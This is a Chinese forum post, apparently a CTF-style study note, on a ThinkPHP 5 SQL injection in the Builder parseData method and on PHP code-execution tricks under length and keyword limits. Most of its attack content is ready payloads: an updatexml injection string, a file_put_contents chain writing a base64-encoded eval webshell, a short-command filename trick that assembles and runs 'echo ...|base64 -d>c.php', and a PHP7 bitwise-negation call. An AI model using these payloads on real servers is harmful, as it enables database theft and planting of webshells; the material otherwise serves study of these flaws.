thinkphp中的sql和代码执行

打印 上一主题 下一主题

主题 974|帖子 974|积分 2922

目录

thinkphp5漏洞sql注入
漏洞概要.
漏洞准备
漏洞分析
代码执行
限定条件1
1
2
限定条件
1
限定条件3
php7.x
php5


thinkphp5漏洞sql注入

漏洞概要.

本次漏洞存在于 Builder 类的 parseData 方法中。由于步调没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.155.1.0<=ThinkPHP<=5.1.5 。这里利用thinkphp5015版本
漏洞准备

检察官方文档5.0.16修复更新内容

漏洞分析

payload [0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1


get哀求传入username,进入db的inster方法,之后直接进入了 $this->builderinsert 方法

在进入之后,在 insert 方法中,我们看到其调用 parseData 方法来分析并处理数据进入
这里0是inc 1是注入语句 2是1

break之后这里执行替换函数

这里执行完之后拼接,value是注入语句
代码执行

限定条件1

   <?php
  $param = $_REQUEST['param']; If (
  strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
  ) {
  eval($param);
  }
  1


2


web.php?1=file_put_contents&param=$_GET[1](N,P,8);

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中  */解码为一句话木马

逐个写入,终极伪协议解码执行执行

限定条件

<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}

1


www:~$ ls -t
ech\ o \  PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\  bas\ e64\  -\  d>\  c.p\ hp
www:~$ echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
▪ls -t 以创建时间来列出当前目录下全部文件
文件列表以[行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造恣意命令执行,写入Webshell

www:~$

w>hp
www:~$

w>c.p\\
www:~$

w>d\>\\
www:~$

w>\ -\\
www:~$

w>e64\\
www:~$

w>bas\\
www:~$

w>7\|\\
www:~$

w>XSk\\
...
www:~$
w>D9\\
www:~$

w>o\ \\
www:~$

w>ech\\
www:~$

ls -t>0
www:~$

sh 0



   
  限定条件3

php7.x

PHP7前是不允许用($a)();如许的方法来执举措态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是恣意PHP表达式。
先进行URL编码再取反,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码体现):(~%8F%97%8F%96%91%99%90)();

php5

上传文件修改数据包
``执行代码,用末了一位大写字母匹配,大写字母范围在@和]之间

   



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

前进之路

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表